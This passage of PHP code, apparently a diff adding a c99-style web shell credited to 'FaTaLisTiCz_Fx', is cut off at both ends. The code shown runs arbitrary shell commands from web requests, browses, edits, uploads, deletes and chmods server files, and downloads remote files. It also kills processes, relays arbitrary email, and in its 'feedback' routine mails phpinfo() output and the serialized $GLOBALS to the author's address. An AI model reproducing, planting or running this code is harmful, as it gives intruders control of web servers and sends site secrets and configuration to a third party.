$tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else { + echo "<form action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=feedback>". + "<table class=contents><tr><td class=barheader colspan=2>". + ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.</td></tr>". + "<tr><td>Your name:</td><td><input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"></td</tr>". + "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"></td></tr>". + "<tr><td>Message:</td><td><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br>". + "<input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked> Attach Server info (Recommended for bug-fix)<br>". + "*Language: English, Indonesian.</td></tr>". + "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>". + "</table>\n"; + } +} +if ($act == "fxmailer") { + if (!empty($submit)){ + $headers = 'To: '.$dest_email."\r\n"; + $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; + if (mail($suppmail,$sender_subj,$sender_body,$header)) { + echo "<center><b>Email sent!</b></center>"; + } + else { echo "<center><b>Can't send email!</b></center>"; } + } + else { + echo "<form action=\"".$surl."\" method=POST>". + "<input type=hidden name=act value=fxmailer>". + "<table class=contents><tr><td class=barheader colspan=2>". + ".: $sh_name Mailer :.</td></tr>". + "<tr><td>Your name:</td><td><input type=\"text\" name=\"sender_name\" value=\"".htmlspecialchars($sender_name)."\"></td</tr>". + "<tr><td>Your e-mail:</td><td><input type=\"text\" name=\"sender_email\" value=\"".htmlspecialchars($sender_email)."\"></td></tr>". + "<tr><td>To:</td><td><input type=\"text\" name=\"dest_email\" value=\"".htmlspecialchars($dest_email)."\"></td></tr>". + "<tr><td>Subject:</td><td><input size=70 type=\"text\" name=\"sender_subj\" value=\"".htmlspecialchars($sender_subj)."\"></td></tr>". + "<tr><td>Message:</td><td><textarea name=\"sender_body\" cols=80 rows=10>".htmlspecialchars($sender_body)."</textarea><br>". + "<tr><td></td><td><input type=\"submit\" name=\"submit\" value=\"Send\"></form></td></tr>". + "</table>\n"; + } +} +if ($act == "search") { + echo "<div class=barheader>.: $sh_name File-System Search :.</div>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array( + "name"=>$search_name, + "name_regexp"=>$search_name_regexp, + "text"=>$search_text, + "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {fx29fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "No files found!";} + else { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<table class=contents>". + "<tr><td><form method=POST>". + "<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\">". + "File or folder Name:</td><td><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - Regular Expression</td></tr>". + "<tr><td>Look in (Separate by \";\"):</td><td><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"></td></tr>". + "<tr><td>A word or phrase in the file:</td><td><textarea name=\"search_text\" cols=\"50\" rows=\"5\">".htmlspecialchars($search_text)."</textarea></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> Regular Expression". + " <input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> Whole words only". + " <input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> Case sensitive". + " <input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> Find files NOT containing the text</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Search\"></form></td></tr>". + "</table>\n"; + if ($act == "ls") { + $dspact = $act; + echo $searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b>". + "<hr size=\"1\" noshade>"; + } +} +if ($act == "chmod") { + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else { + $form = TRUE; + if ($chmod_submit) { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) { $act = "ls"; $form = FALSE; $err = ""; } + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") { + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} + if (!empty($submit)) { + global $_FILES; + $uploadfile = $_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { + $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>"; + } + else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; } + } + else { echo "No file to upload!"; } + } + if ($miniform) { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else { + echo "<table><tr><td colspan=2 class=barheader>". + ".: File Upload :.</td>". + "<td colspan=2>".$uploadmess."</td></tr>". + "<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST>". + "From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>". + "<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>". + "<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>". + "<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>". + "<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>". + "<tr><td></td><td><input type=submit name=submit value=\"Upload\">". + "</form></td></tr></table>"; + } +} +if ($act == "delete") { + $delerr = ""; + foreach ($actbox as $v) { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) { $delerr .= "Can't delete ".htmlspecialchars($v)."<br>"; } + } + if (!empty($delerr)) { echo "<b>Error deleting:</b><br>".$delerr; } + $act = "ls"; +} +if (!$usefsbuff) { + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) { + echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>"; + } +} +else { + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); fx29_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); fx29_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} fx29_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); fx29_sess_put($sess_data);} + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + fx29_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = fx29exec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + fx29_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + fx29_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") { + @chdir($chdir); + if (!empty($submit)) { + echo "<div class=barheader>.: Results of Execution :.</div>\n"; + $olddir = realpath("."); + @chdir($d); + $ret = fx29exec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) { + $rows = count(explode("\n",$ret))+1; + if ($rows < 10) { $rows = 10; } else { $rows = 30; } + $cols = 130; + echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>".htmlspecialchars($ret)."</textarea>\n"; + //echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>"; + } + else { echo $ret."<br>"; } + @chdir($olddir); + } +} +if ($act == "ls") { + if (count($ls_arr) > 0) { $list = $ls_arr; } + else { + $list = array(); + if ($h = @opendir($d)) { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + } + if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";} + else { + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} + elseif (is_dir($v)) { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Date Modified</b>"; + if (!$win) {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) { + if (ereg($r[0],$o)) { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; fx29shexit();} + else { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "CURDIR"; + } + elseif ($o == "..") { + $row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;".$o."</a>"; + $row[] = "UPDIR"; + } + elseif (is_dir($v)) { + if (is_link($v)) { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + else { + $type = "DIR"; + $row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = @date("d.m.Y H:i:s",$a[2]); + if (!$win) { $row[] = $a[3]; } + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<div class=barheader>.: "; + if (!empty($fx_infohead)) { echo $fx_infohead; } + else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } + echo " :.</div>\n"; + echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=".$d.">". + "<table class=explorer>"; + foreach($table as $row) { + echo "<tr>"; + foreach($row as $v) {echo "<td>".$v."</td>";} + echo "</tr>\r\n"; + } + echo "</table>". + "<script>". + "function ls_setcheckboxall(status) {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }". + "}". + "function ls_reverse_all() {". + " var id = 1; var num = ".(count($table)-2).";". + " while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }". + "}". + "</script>". + "<div align=\"right\">". + "<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">". + "<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>"; + echo "</form>"; + } +} +if ($act == "tools") { tools(); } +##[ PHP FILESYSTEM TRICKZ (By FaTaLisTiCz_Fx) ]## +if ($act == "phpfsys") { + echo "<div align=left>"; + $fsfunc = $phpfsysfunc; + if ($fsfunc=="copy") { + if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} + else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; } + } + elseif ($fsfunc=="rename") { + if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} + else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; } + } + elseif ($fsfunc=="chmod") { + if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} + else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; } + } + elseif ($fsfunc=="read") { + $darg = $d.$arg1; + if ($hasil = @file_get_contents($darg)) { + echo "<b>Filename:</b> ".$darg."<br>"; + echo "<center><textarea cols=135 rows=30>"; + echo htmlentities($hasil); + echo "</textarea></center>\n"; + } + else { echo "<div class=fxerrmsg> Couldn't open ".$darg."<div>"; } + } + elseif ($fsfunc=="write") { + $darg = $d.$arg1; + if(@file_put_contents($darg,$arg2)) { + echo "<b>Saved!</b> ".$darg; + } + else { echo "<div class=fxerrmsg>Can't write to $darg!</div>"; } + } + elseif ($fsfunc=="downloadbin") { + $handle = fopen($arg1, "rb"); + $contents = ''; + while (!feof($handle)) { + $contents .= fread($handle, 8192); + } + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + fclose($handle); + } + elseif ($fsfunc=="download") { + $text = implode('', file($arg1)); + if ($text) { + $r = @fopen($d.$arg2,'w'); + if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } + else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>"; } + fclose($r); + } + else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";} + } + elseif ($fsfunc=='mkdir') { + $thedir = $d.$arg1; + if ($thedir != $d) { + if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); } + elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); } + else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);} + } + else { echo "Can't create current dir:<b> $thedir</b>"; } + } + elseif ($fsfunc=='fwritabledir') { + function recurse_dir($dir,$max_dir) { + global $dir_count; + $dir_count++; + if( $cdir = dir($dir) ) { + while( $entry = $cdir-> read() ) { + if( $entry != '.' && $entry != '..' ) { + if(is_dir($dir.$entry) && is_writable($dir.$entry) ) { + if ($dir_count > $max_dir) { return; } + echo "[".$dir_count."] ".$dir.$entry."\n"; + recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir); + } + } + } + $cdir->close(); + } + } + if (!$arg1) { $arg1 = $d; } + if (!$arg2) { $arg2 = 10; } + if (is_dir($arg1)) { + echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade size=1>"; + echo "<pre>"; + recurse_dir($arg1,$arg2); + echo "</pre>"; + $total = $dir_count - 1; + echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b> $arg2"; + } + else { + echo "<div class=fxerrmsg>Directory is not exist or permission denied!</div>"; + } + } + else { + if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>\n"; } + else { + if ($hasil = $fsfunc($arg1)) { + echo "<b>Result of $fsfunc $arg1:</b><br>"; + if (!is_array($hasil)) { echo "$hasil\n"; } + else { + echo "<pre>"; + foreach ($hasil as $v) { echo $v."\n"; } + echo "</pre>"; + } + } + else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; } + } + } + echo "</div>\n"; +} +if ($act == "processes") { + echo "<div class=barheader>.: Processes :.</div>\n"; + if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":""); } + else { $handler = "tasklist"; } + $ret = fx29exec($handler); + if (!$ret) { echo "Can't execute \"".$handler."\"!"; } + else { + if (empty($processes_sort)) { $processes_sort = $sort_default; } + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; + } + else { + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>"; + } + $ret = htmlspecialchars($ret); + if (!$win) { //Not Windows + if ($pid) { + if (is_null($sig)) { $sig = 9; } + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR."; } + } + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) { + if ($i != $k) { + $head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>"; + } + } + $head[$i] = ""; + $prcs = array(); + foreach ($stack as $line) { + if (!empty($line)) { + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) { $line[0] = "<font color=green>".$line[0]."</font>"; } + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + } + } + } + //For Windows - Fixed By FaTaLisTiCz_Fx + else { + while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); } + while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); } + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $stack[0]=str_replace("Image Name","ImageName",$stack[0]); + $stack[0]=str_replace("Session Name","SessionName",$stack[0]); + $stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]); + $head = explode(" ",$stack[0]); + $stack = array_slice($stack,1); + $head = array_values($head); + if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; } + else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border=\"0\"></a>"; } + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) { + if ($i != $k) { $head[$i] = "<a 